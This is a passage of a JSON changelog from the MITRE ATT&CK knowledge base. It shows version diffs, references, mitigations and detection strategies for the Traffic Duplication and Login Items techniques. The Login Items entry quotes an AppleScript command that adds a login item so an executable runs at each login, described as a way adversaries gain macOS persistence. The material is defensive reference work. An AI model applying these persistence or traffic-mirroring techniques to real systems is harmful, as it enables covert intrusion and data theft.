nowrap=\"nowrap\">s.&nbsp;The&nbsp;libraries&nbsp;can&nbsp;be&nbsp;linked&nbsp;against&nbsp;when&nbsp;compiling,&nbsp;while</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ile&nbsp;the&nbsp;utilities&nbsp;require&nbsp;spawning&nbsp;a&nbsp;subshell,&nbsp;or&nbsp;a&nbsp;similar&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;utilities&nbsp;require&nbsp;spawning&nbsp;a&nbsp;subshell,&nbsp;or&nbsp;a&nbsp;similar&nbsp;exe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">execution&nbsp;mechanism.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cution&nbsp;mechanism.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0268: Detect Archiving via Library (T1560.002)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-19 13:40:11.118000+00:00",
                    "modified": "2026-11-04 00:14:43.341000+00:00",
                    "name": "Traffic Duplication",
                    "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device.(Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "exfiltration"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1020/001",
                            "external_id": "T1020.001"
                        },
                        {
                            "source_name": "AWS Traffic Mirroring",
                            "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
                            "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
                        },
                        {
                            "source_name": "Cisco Traffic Mirroring",
                            "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.",
                            "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html"
                        },
                        {
                            "source_name": "GCP Packet Mirroring",
                            "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
                            "url": "https://cloud.google.com/vpc/docs/packet-mirroring"
                        },
                        {
                            "source_name": "Juniper Traffic Mirroring",
                            "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.",
                            "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html"
                        },
                        {
                            "source_name": "Azure Virtual Network TAP",
                            "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
                            "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"
                        },
                        {
                            "source_name": "Cisco Blog Legacy Device Attacks",
                            "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                            "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                        },
                        {
                            "source_name": "US-CERT-TA18-106A",
                            "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                            "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Network Devices",
                        "IaaS"
                    ],
                    "x_mitre_version": "1.4",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:14:43.341000+00:00\", \"old_value\": \"2025-10-24 17:49:00.388000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device.(Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\\n\\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\\n\\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\\n\\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.\", \"old_value\": \"Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\\n\\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\\n\\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\\n\\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\\n+Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device.(Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\\n \\n Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.4",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to18__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to18__0\"><a href=\"#difflib_chg_to18__top\">t</a></td><td class=\"diff_header\" id=\"from18_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;leverage&nbsp;traffic&nbsp;mirroring&nbsp;in&nbsp;order&nbsp;to&nbsp;autom</td><td class=\"diff_next\"><a href=\"#difflib_chg_to18__top\">t</a></td><td class=\"diff_header\" id=\"to18_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;leverage&nbsp;traffic&nbsp;mirroring&nbsp;in&nbsp;order&nbsp;to&nbsp;autom</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;data&nbsp;exfiltration&nbsp;over&nbsp;compromised&nbsp;infrastructure.&nbsp;Traff</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;data&nbsp;exfiltration&nbsp;over&nbsp;compromised&nbsp;infrastructure.&nbsp;Traff</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ic&nbsp;mirroring&nbsp;is&nbsp;a&nbsp;native&nbsp;feature&nbsp;for&nbsp;some&nbsp;devices,&nbsp;often&nbsp;use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ic&nbsp;mirroring&nbsp;is&nbsp;a&nbsp;native&nbsp;feature&nbsp;for&nbsp;some&nbsp;devices,&nbsp;often&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;for&nbsp;network&nbsp;analysis.&nbsp;For&nbsp;example,&nbsp;devices&nbsp;may&nbsp;be&nbsp;configur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;for&nbsp;network&nbsp;analysis.&nbsp;For&nbsp;example,&nbsp;devices&nbsp;may&nbsp;be&nbsp;configur</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;forward&nbsp;network&nbsp;traffic&nbsp;to&nbsp;one&nbsp;or&nbsp;more&nbsp;destinations&nbsp;fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;forward&nbsp;network&nbsp;traffic&nbsp;to&nbsp;one&nbsp;or&nbsp;more&nbsp;destinations&nbsp;fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;analysis&nbsp;by&nbsp;a&nbsp;network&nbsp;analyzer&nbsp;or&nbsp;other&nbsp;monitoring&nbsp;device.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;analysis&nbsp;by&nbsp;a&nbsp;network&nbsp;analyzer&nbsp;or&nbsp;other&nbsp;monitoring&nbsp;device.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Cisco&nbsp;Traffic&nbsp;Mirroring)(Citation:&nbsp;Juniper&nbsp;Traff</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Cisco&nbsp;Traffic&nbsp;Mirroring)(Citation:&nbsp;Juniper&nbsp;Traffi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ic&nbsp;Mirroring)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;traffic&nbsp;mirroring&nbsp;to&nbsp;mi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">c&nbsp;Mirroring)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;traffic&nbsp;mirroring&nbsp;to&nbsp;mir</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rror&nbsp;or&nbsp;redirect&nbsp;network&nbsp;traffic&nbsp;through&nbsp;other&nbsp;infrastructur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ror&nbsp;or&nbsp;redirect&nbsp;network&nbsp;traffic&nbsp;through&nbsp;other&nbsp;infrastructure</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;they&nbsp;control.&nbsp;Malicious&nbsp;modifications&nbsp;to&nbsp;network&nbsp;devices&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;they&nbsp;control.&nbsp;Malicious&nbsp;modifications&nbsp;to&nbsp;network&nbsp;devices&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;enable&nbsp;traffic&nbsp;redirection&nbsp;may&nbsp;be&nbsp;possible&nbsp;through&nbsp;[ROMMON</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;enable&nbsp;traffic&nbsp;redirection&nbsp;may&nbsp;be&nbsp;possible&nbsp;through&nbsp;[ROMMONk</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kit](https://attack.mitre.org/techniques/T1542/004)&nbsp;or&nbsp;[Patc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">it](https://attack.mitre.org/techniques/T1542/004)&nbsp;or&nbsp;[Patch</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;System&nbsp;Image](https://attack.mitre.org/techniques/T1601/00</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;System&nbsp;Image](https://attack.mitre.org/techniques/T1601/001</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1).(Citation:&nbsp;US-CERT-TA18-106A)(Citation:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">).(Citation:&nbsp;US-CERT-TA18-106A)(Citation:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Device&nbsp;Attacks)&nbsp;&nbsp;Many&nbsp;cloud-based&nbsp;environments&nbsp;also&nbsp;support</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Device&nbsp;Attacks)&nbsp;&nbsp;Many&nbsp;cloud-based&nbsp;environments&nbsp;also&nbsp;support&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;traffic&nbsp;mirroring.&nbsp;For&nbsp;example,&nbsp;AWS&nbsp;Traffic&nbsp;Mirroring,&nbsp;GCP&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">traffic&nbsp;mirroring.&nbsp;For&nbsp;example,&nbsp;AWS&nbsp;Traffic&nbsp;Mirroring,&nbsp;GCP&nbsp;P</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Packet&nbsp;Mirroring,&nbsp;and&nbsp;Azure&nbsp;vTap&nbsp;allow&nbsp;users&nbsp;to&nbsp;define&nbsp;speci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">acket&nbsp;Mirroring,&nbsp;and&nbsp;Azure&nbsp;vTap&nbsp;allow&nbsp;users&nbsp;to&nbsp;define&nbsp;specif</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fied&nbsp;instances&nbsp;to&nbsp;collect&nbsp;traffic&nbsp;from&nbsp;and&nbsp;specified&nbsp;targets</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ied&nbsp;instances&nbsp;to&nbsp;collect&nbsp;traffic&nbsp;from&nbsp;and&nbsp;specified&nbsp;targets&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;send&nbsp;collected&nbsp;traffic&nbsp;to.(Citation:&nbsp;AWS&nbsp;Traffic&nbsp;Mirrori</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;send&nbsp;collected&nbsp;traffic&nbsp;to.(Citation:&nbsp;AWS&nbsp;Traffic&nbsp;Mirrorin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng)(Citation:&nbsp;GCP&nbsp;Packet&nbsp;Mirroring)(Citation:&nbsp;Azure&nbsp;Virtual&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g)(Citation:&nbsp;GCP&nbsp;Packet&nbsp;Mirroring)(Citation:&nbsp;Azure&nbsp;Virtual&nbsp;N</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Network&nbsp;TAP)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;traffic&nbsp;duplication&nbsp;in&nbsp;con</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etwork&nbsp;TAP)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;traffic&nbsp;duplication&nbsp;in&nbsp;conj</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">junction&nbsp;with&nbsp;[Network&nbsp;Sniffing](https://attack.mitre.org/te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unction&nbsp;with&nbsp;[Network&nbsp;Sniffing](https://attack.mitre.org/tec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1040),&nbsp;[Input&nbsp;Capture](https://attack.mitre.org/te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1040),&nbsp;[Input&nbsp;Capture](https://attack.mitre.org/tec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1056),&nbsp;or&nbsp;[Adversary-in-the-Middle](https://attack</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1056),&nbsp;or&nbsp;[Adversary-in-the-Middle](https://attack.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1557)&nbsp;depending&nbsp;on&nbsp;the&nbsp;goals&nbsp;and&nbsp;obje</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1557)&nbsp;depending&nbsp;on&nbsp;the&nbsp;goals&nbsp;and&nbsp;objec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctives&nbsp;of&nbsp;the&nbsp;adversary.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tives&nbsp;of&nbsp;the&nbsp;adversary.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1041: Encrypt Sensitive Information",
                            "M1057: Data Loss Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0403: Detection Strategy for Traffic Duplication via Mirroring in IaaS and Network Devices"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-05 21:26:15.081000+00:00",
                    "modified": "2026-11-03 21:56:22.932000+00:00",
                    "name": "Login Items",
                    "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\n\nLogin items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple event to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1547/015",
                            "external_id": "T1547.015"
                        },
                        {
                            "source_name": "Adding Login Items",
                            "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                            "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
                        },
                        {
                            "source_name": "Launch Services Apple Developer",
                            "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.",
                            "url": "https://developer.apple.com/documentation/coreservices/launch_services"
                        },
                        {
                            "source_name": "Login Items AE",
                            "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.",
                            "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788"
                        },
                        {
                            "source_name": "Open Login Items Apple",
                            "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.",
                            "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac"
                        },
                        {
                            "source_name": "hexed osx.dok analysis 2019",
                            "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html"
                        },
                        {
                            "source_name": "ELC Running at startup",
                            "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.",
                            "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/"
                        },
                        {
                            "source_name": "Startup Items Eclectic",
                            "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.",
                            "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/"
                        },
                        {
                            "source_name": "Add List Remove Login Items Apple Script",
                            "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.",
                            "url": "https://gist.github.com/kaloprominat/6111584"
                        },
                        {
                            "source_name": "CheckPoint Dok",
                            "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.",
                            "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/"
                        },
                        {
                            "source_name": "objsee netwire backdoor 2019",
                            "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.",
                            "url": "https://objective-see.com/blog/blog_0x44.html"
                        },
                        {
                            "source_name": "objsee mac malware 2017",
                            "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                            "url": "https://objective-see.com/blog/blog_0x25.html"
                        },
                        {
                            "source_name": "SMLoginItemSetEnabled Schroeder 2013",
                            "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20160216034946/https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "macOS"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:56:22.932000+00:00\", \"old_value\": \"2025-10-24 17:49:03.355000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\\n\\nLogin items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\\n\\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple event to the \\u201cSystem Events\\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \\u201cSystem Events\\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: 